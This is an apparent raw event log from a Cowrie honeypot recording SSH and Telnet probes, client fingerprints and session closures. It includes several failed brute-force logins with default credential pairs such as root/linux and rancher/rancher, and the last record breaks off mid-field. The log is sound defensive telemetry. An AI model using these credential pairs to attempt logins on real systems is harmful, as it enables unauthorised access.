{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:04.044682Z","src_ip":"176.65.132.129","session":"c5138f2f6078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:04.291641Z","src_ip":"176.65.132.129","session":"c5138f2f6078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:04.979333Z","src_ip":"165.154.6.86","session":"1b876395436b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:05.380835Z","src_ip":"176.65.132.129","session":"c5138f2f6078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44644,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3ae0958dd64","protocol":"ssh","message":"New connection: 176.65.132.129:44644 (159.203.135.109:22) [session: a3ae0958dd64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:07.164746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:07.170090Z","src_ip":"176.65.132.129","session":"a3ae0958dd64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:07.255744Z","src_ip":"176.65.132.129","session":"a3ae0958dd64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:07.502534Z","src_ip":"176.65.132.129","session":"a3ae0958dd64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:08.587941Z","src_ip":"176.65.132.129","session":"a3ae0958dd64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44646,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf840a0b8aed","protocol":"ssh","message":"New connection: 176.65.132.129:44646 (159.203.135.109:22) [session: cf840a0b8aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:10.399441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:10.478661Z","src_ip":"176.65.132.129","session":"cf840a0b8aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:10.624767Z","src_ip":"176.65.132.129","session":"cf840a0b8aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:10.906915Z","src_ip":"176.65.132.129","session":"cf840a0b8aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:12.046429Z","src_ip":"176.65.132.129","session":"cf840a0b8aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50318,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d491c9aade","protocol":"telnet","message":"New connection: 152.42.224.71:50318 (10.17.0.5:23) [session: a4d491c9aade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:12.223209Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44656,"dst_ip":"159.203.135.109","dst_port":22,"session":"a13373787f48","protocol":"ssh","message":"New connection: 176.65.132.129:44656 (159.203.135.109:22) [session: a13373787f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:14.009920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:14.014899Z","src_ip":"176.65.132.129","session":"a13373787f48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:14.101480Z","src_ip":"176.65.132.129","session":"a13373787f48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:14.347466Z","src_ip":"176.65.132.129","session":"a13373787f48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:15.506965Z","src_ip":"176.65.132.129","session":"a13373787f48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":58724,"dst_ip":"10.17.0.5","dst_port":22,"session":"89e547ab877c","protocol":"ssh","message":"New connection: 117.121.214.50:58724 (10.17.0.5:22) [session: 89e547ab877c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:16.420555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:16.425627Z","src_ip":"117.121.214.50","session":"89e547ab877c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:16.685596Z","src_ip":"117.121.214.50","session":"89e547ab877c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":89.28954219818115,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:16.758326Z","src_ip":"152.42.224.71","session":"c47fd4d08db3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.50438070297241,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:17.292386Z","src_ip":"152.42.224.71","session":"0d4da68b46e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58938,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7b444f107a0","protocol":"ssh","message":"New connection: 176.65.132.129:58938 (159.203.135.109:22) [session: a7b444f107a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:17.297737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:17.302142Z","src_ip":"176.65.132.129","session":"a7b444f107a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:17.387233Z","src_ip":"176.65.132.129","session":"a7b444f107a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:17.634103Z","src_ip":"176.65.132.129","session":"a7b444f107a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mus1c","message":"login attempt [root/mus1c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:17.755420Z","src_ip":"117.121.214.50","session":"89e547ab877c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:18.718623Z","src_ip":"176.65.132.129","session":"a7b444f107a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:19.017570Z","src_ip":"117.121.214.50","session":"89e547ab877c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54586,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dd83168e51b","protocol":"telnet","message":"New connection: 152.42.224.71:54586 (10.17.0.5:23) [session: 8dd83168e51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:25.537630Z"}
{"eventid":"cowrie.session.closed","duration":51.59621477127075,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:28.402591Z","src_ip":"152.42.224.71","session":"1652a945cbb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":107.30613732337952,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:29.421457Z","src_ip":"152.42.224.71","session":"929c6f4fb181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":52442,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8e52a125c49","protocol":"ssh","message":"New connection: 43.135.139.74:52442 (10.17.0.5:22) [session: f8e52a125c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:30.627831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:30.632639Z","src_ip":"43.135.139.74","session":"f8e52a125c49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:30.707874Z","src_ip":"43.135.139.74","session":"f8e52a125c49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a","message":"login attempt [root/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:31.016291Z","src_ip":"43.135.139.74","session":"f8e52a125c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":102.3156807422638,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:32.029572Z","src_ip":"152.42.224.71","session":"1fcb0d9034a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:32.087845Z","src_ip":"43.135.139.74","session":"f8e52a125c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.82660150527954,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:33.180817Z","src_ip":"152.42.224.71","session":"68f4ced413f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47218,"dst_ip":"10.17.0.5","dst_port":23,"session":"de86ae1ff506","protocol":"telnet","message":"New connection: 152.42.224.71:47218 (10.17.0.5:23) [session: de86ae1ff506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:41.080008Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42098,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e0cba15cd26","protocol":"telnet","message":"New connection: 152.42.224.71:42098 (10.17.0.5:23) [session: 6e0cba15cd26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:50.552322Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50164,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9effa58cc79","protocol":"telnet","message":"New connection: 152.42.224.71:50164 (10.17.0.5:23) [session: c9effa58cc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:58.924369Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":38520,"dst_ip":"10.17.0.5","dst_port":22,"session":"283ac4060820","protocol":"ssh","message":"New connection: 119.96.193.72:38520 (10.17.0.5:22) [session: 283ac4060820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:05.179127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:05.186577Z","src_ip":"119.96.193.72","session":"283ac4060820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"